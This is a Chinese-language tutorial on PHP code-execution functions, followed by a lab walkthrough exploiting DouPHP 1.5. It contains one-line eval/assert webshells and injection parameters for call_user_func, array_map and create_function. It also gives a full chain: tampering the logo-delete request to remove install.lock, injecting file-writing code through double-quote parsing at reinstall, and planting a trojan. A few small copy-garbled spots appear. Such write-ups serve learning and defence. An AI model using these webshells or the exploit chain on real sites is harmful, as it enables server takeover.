代码执行
相关函数与语句
eval():会将字符串当作代码来执行。
<?php @eval($_REQUEST["code"])?>
单双引号输出问题:
assert():如果传入字符串会被当做PHP代码来执行
<?php @assert($_REQUEST["code"])?>
与eval的区别:eval可以执行多行,而assert只能执行一行。
当assert想要执行多行时,可以利用写文件的方式:
file_put_contents("123.php","<?php phpinfo();?>")
preg_replace:执行一个正则表达式的搜索和替换
preg_replace(pattern, replacement, subject):
pattern:要搜索的模式。是一个正则表达式字符串或者正则表达式字符数组
replacement:用于替换的字符串或字符数组
subject:要进行搜索或替换的字符串或字符数组
preg_replace(/正则匹配/修饰符,用于替换的字符串或字符串数组,要进行替换的字符串或字符串数组)
preg_replace("/(\d+)/", "1990", "2021,hello");\\-->1990,hello
修饰符:
- i:大小写不敏感
- s:点匹配所有字符,包括换行符,如果没有修饰符,点号不匹配换后符
- e:如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 方式),并使用执行结果作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在后向引用替换时会被用反斜线转义
preg_replace 的 /e 修正符会在后向引用时将引用的字符串使用eval的方式执行。
后向引用:对一个正则表达式模式或部分模式 将导致相关 匹配存储到一个临时缓冲区 中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 \n 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数
preg_replace("/(.*)/ei",'\\1','${phpinfo()}');
<?php
// preg_replace("/(.*)/ei","\\1",phpinfo());
// preg_replace("/(.*)/ei",strtolower("\\1"),phpinfo());
// preg_replace("/(.*)/ei",'1',${phpinfo()});
// preg_replace("/(.*)/ei",'\1','${phpinfo()}');
// preg_replace("/(.*)/ei",'\\1','${phpinfo()}');
// preg_replace("/(.*)/ei",'\\1',${phpinfo()});
// preg_replace("/(.*)/ei",strtolower("\\1"),${phpinfo()});//(推荐)
?>
以上都能成功执行phpinfo()。
回调函数
call_user_func():
第一个参数是被调用的回调函数,其余参数是回调函数的参数
call_user_func($_GET['func'],$_GET['para']);
传入参数:?func=assert¶=phpinfo();
call_user_func()_array:调用回调函数,并把一个数组参数作为回调函数的参数
array_map(callback(),array1):
为数组的每个元素应用回调函数
array_map($_REQUEST[1],$_REQUEST[2])
通过传参执行代码:?1=assert&2=phpinfo();
匿名函数:create_function()
create_function(参数,函数代码):
$a = create_function('$id','echo $id;'); 自定义变量$a
echo $a(8); //执行echo $id;因为$id我传参是8所以 echo $id;
<?php
$a = $_REQUEST['a'];
$f = create_function('',$a);
$f();
?>
需要调用才才可以触发。
这里还可以不调用触发:
a=}phpinfo();//
动态函数: a ( a( a(b)
<?php
$_GET['a']($_GET['b']);
?>
传入参数:?a=assert&b=phpinfo()
双引号二次解析
在PHP5.5以上,如果双引号中加一个变量花括号,就可以去做代码执行。
其本质原理使用因为字符串的复杂语法,当$紧挨着{时,{中的内容会被解析。
靶场
本地测试:
此次靶场利用的就是双引号二次解析的漏洞。
如果我们能过通过传参的方式将数据写入双引号内,就可以进行更深一步的控制。
cms:DouPHP_1.5
当我们在尝试寻找该cms的数据库配置文件时,发现没有找到。
后经尝试发现:config.php会在安装完成之后出现。(/data/config.php)
这里使用的时是双引号,我们可以使用双引号二次解析的这个漏洞,因为双引号里面的内容是我们填写的,属于可控制范围。
点击安装之后:
$dbname也可以成功。
说明这里双引号二次解析是可以成功利用的。
如果我们在“数据库账号”($dbuser)这里写入可以写入文件的代码是不是就可以创建文件了呢?
尝试去访问/data/config.php试试:
192.168.17.144/DouPHP_1.5/data/config.php?8=666.php&9=<?php eval($_REQUEST[6])?>
成功写入一个木马。
那么完整漏洞利用的思路就清晰了:
首先在重装页面利用双引号二次解析在数据库连接那里的“数据库账号”中输入写入文件的代码。
然后访问config.php去写入一个木马
所以,问题来了,我们怎么才能访问到DouPHP的重装页面呢?
该cms安装完成之后会生成一个install.lock
在安装完成之后再访问install页面是不被允许的。
如果我们能够删除install.lock就能访问安装页面进行重装。
那么该怎么删除install.lock呢?
我们就需要进行代码审计,寻找该cms中的删除功能。
审计
在后台发现一个删除手机版logo的功能,先上传一张图片,然后提供一个删除刚刚上传图片的功能。
经过代码审计,这个功能在/admin/mobile.php里:
这里用unlink删除了logo图片:$mobile_logo
删除的这段完整路径:
ROOT_PATH . M_PATH . ‘/theme/’ . $_CFG[‘mobile_theme’] . ‘/images/’ . $mobile_logo
等于:C:/phpStudy/PHPTutorial/WWW/DouPHP_1.5/m/theme/default/images/logo.jpg
主要变量就是 m o b i l e l o g o 。 然 而 这 个 mobile_logo。然而这个 mobilelogo。然而这个mobile_logo是由数据库里的值控制的:
seletct value from config where name = 'mobile_log'
我们进入数据库查看一下,config表里的值:
那这个logo.jpg是由什么控制的呢?
是由这一段控制的:
这里更新了value的值。
然而,这里的name与value是由$_POST上传过来的。
我们可以抓个包试试看:
修改其值:将原来的filename=""与content-Type删除,下方添加地址
数据库中mobile_logo的值变了
然后在后台点击“删除logo”:
666.php即被删除。
然后进入重装页面:
靶场:
登录后台
在手机版logo处抓包修改
进入重装页面:
写入文件:
${file_put_contents($_REQUEST[8],$_REQUEST[9])}
连菜刀,拿到flag: